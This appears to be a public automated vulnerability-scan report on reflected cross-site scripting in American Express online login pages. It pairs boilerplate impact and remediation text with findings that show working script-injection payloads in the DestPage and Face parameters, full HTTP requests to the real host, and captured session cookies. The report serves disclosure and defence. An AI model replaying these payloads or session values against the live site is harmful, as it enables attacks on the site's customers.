XSS.CX Anti-Phishing Research consumes Public Domain URL's to identify Points of Contact within an organization that would be sent Private Reports of Vulnerabilities. Its suggest that any published materials for Contact Us include Security Researchers seeking to report vulnerabilities observe URL http://technet.microsoft.com/en-us/security/ff852094.aspx as Best Practices for a Company to use as a baseline transaction. XSS.Cx doesn't use DOMAIN WHOIS, RADB or ARIN CIDR Point of Contact Records.
Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Issue remediation
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of the DestPage request parameter is copied into the value of an HTML tag attribute which is not encapsulated in any quotation marks. The payload 7dada%20a%3db40394ec87f9 was submitted in the DestPage parameter. This input was echoed as 7dada a=b40394ec87f9 in the application's response.
This behaviour demonstrates that it is possible to inject new attributes into an existing HTML tag. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
The value of the DestPage request parameter is copied into the value of an HTML tag attribute which is not encapsulated in any quotation marks. The payload c0c0e%20a%3dba4515da9f3a was submitted in the DestPage parameter. This input was echoed as c0c0e a=ba4515da9f3a in the application's response.
This behaviour demonstrates that it is possible to inject new attributes into an existing HTML tag. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
POST /myca/logon/us/action?request_type=LogLogonHandler&location=us_logon1 HTTP/1.1 Referer: https://online.americanexpress.com/myca/logon/us/action?request_type=LogonHandler&Face=en_US&inav=iNavLnkLog Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; en-us) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10 Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Host: online.americanexpress.com Cookie: sroute=655231498.58148.0000; $Version=1; NSC_nf3-x-vt-mphpo-b=ffffffff97a3d1e545525d5f4f58455e445a4a42be89; $Path=/; SaneID=50.23.123.106-1317933759898191 Content-Length: 660 Expect: 100-continue Accept-Encoding: gzip, deflate
The value of the Face request parameter is copied into the value of an HTML tag attribute which is not encapsulated in any quotation marks. The payload f1c73><script>alert(1)</script>98b579ca4b2 was submitted in the Face parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /myca/logon/us/en/en_US/common/sorry.jsp?request_type=&Face=en_USf1c73><script>alert(1)</script>98b579ca4b2&sorted_index=&BPIndex=&ApplID= HTTP/1.1 Referer: https://online.americanexpress.com/myca/logon/us/en/en_US/common/sorry.jsp Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; en-us) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10 Cache-Control: no-cache Host: online.americanexpress.com Cookie: sroute=353241610.58148.0000; $Version=1; NSC_nf3-x-vt-mphpo-b=ffffffff97a3d1e545525d5f4f58455e445a4a42be89; $Path=/; JSESSIONID=0000BIif0oOD1M470jUzbxFsVz7:14fidvqp5; SaneID=50.23.123.106-1317933767479357 Accept-Encoding: gzip, deflate
The value of the Face request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 69e01"><script>alert(1)</script>9ab3c946e96 was submitted in the Face parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /myca/logon/us/en/en_US/common/sorry.jsp?request_type=&Face=en_US69e01"><script>alert(1)</script>9ab3c946e96&sorted_index=&BPIndex=&ApplID= HTTP/1.1 Referer: https://online.americanexpress.com/myca/logon/us/en/en_US/common/sorry.jsp Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; en-us) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10 Cache-Control: no-cache Host: online.americanexpress.com Cookie: sroute=353241610.58148.0000; $Version=1; NSC_nf3-x-vt-mphpo-b=ffffffff97a3d1e545525d5f4f58455e445a4a42be89; $Path=/; JSESSIONID=0000BIif0oOD1M470jUzbxFsVz7:14fidvqp5; SaneID=50.23.123.106-1317933767479357 Accept-Encoding: gzip, deflate
The value of the Face request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload c063c"%3balert(1)//32613ae77da was submitted in the Face parameter. This input was echoed as c063c";alert(1)//32613ae77da in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /myca/logon/us/en/en_US/common/sorry.jsp?request_type=&Face=en_USc063c"%3balert(1)//32613ae77da&sorted_index=&BPIndex=&ApplID= HTTP/1.1 Referer: https://online.americanexpress.com/myca/logon/us/en/en_US/common/sorry.jsp Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; en-us) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10 Cache-Control: no-cache Host: online.americanexpress.com Cookie: sroute=353241610.58148.0000; $Version=1; NSC_nf3-x-vt-mphpo-b=ffffffff97a3d1e545525d5f4f58455e445a4a42be89; $Path=/; JSESSIONID=0000BIif0oOD1M470jUzbxFsVz7:14fidvqp5; SaneID=50.23.123.106-1317933767479357 Accept-Encoding: gzip, deflate